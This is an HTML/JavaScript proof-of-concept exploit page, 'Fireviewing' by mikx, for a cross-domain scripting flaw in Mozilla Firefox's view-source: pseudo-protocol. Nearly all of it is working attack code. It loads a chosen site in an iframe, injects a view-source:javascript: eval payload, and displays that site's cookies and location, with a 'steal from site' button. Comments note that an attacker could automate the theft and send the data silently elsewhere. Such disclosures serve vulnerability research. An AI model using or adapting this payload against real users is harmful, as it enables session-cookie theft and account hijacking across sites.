Mozilla Firefox "view-source:" Protocol Cross Domain Scripting Exploit<html>
<head>
<title>Fireviewing - Proof-of-Concept by mikx</title>
<script language="JavaScript" type="text/javascript">
<-- The view-source: pseudo protocol can be used to do cross-domain scripting -->
<-- without user interaction. This can be used to steal cookies from other -->
<-- hosts or manipulate the DOM cross-domain. -->
<-- This PoC will show the given URL in the IFRAME and will raise an alert box -->
<-- containing the document.location and document.cookie property of that URL -->
<-- when the page is completly loaded. An attacker could easily automate that -->
<-- action and send the data silently to another host.
var done = true;
function stealCookie() {
if(!done) {
done = true;
stealframe.location = "view-source:javascript:eval(\"alert('
Location: '+document.location+' \"+String.fromCharCode(92)+\
"n Cookie: '+document.cookie)\")"
}
}
function setLocation(){
done = false;
stealframe.location = document.getElementById("stealurl").value;
}
</script>
</head>
<body>
<div style="font-family:Verdana;font-size:11px;">
<div style="font-family:Verdana;font-size:15px;font-weight:bold;">Fireviewing</div>
<div style="width:600px">
<br><br>
<input id="stealurl" type="text" value="http://www.google.com/" style="width:450px;
font-family:Arial, Helvetica; font-size:12px;">
<input type="button" value="steal from site" onclick="setLocation()"
style="width:145px; font-family:Arial, Helvetica; font-size:12px;">
<br>
<iframe name="stealframe" src="about:blank" onload="stealCookie()"
style="width:600px; height:200px;"></iframe>
</div>
</body>
</html>
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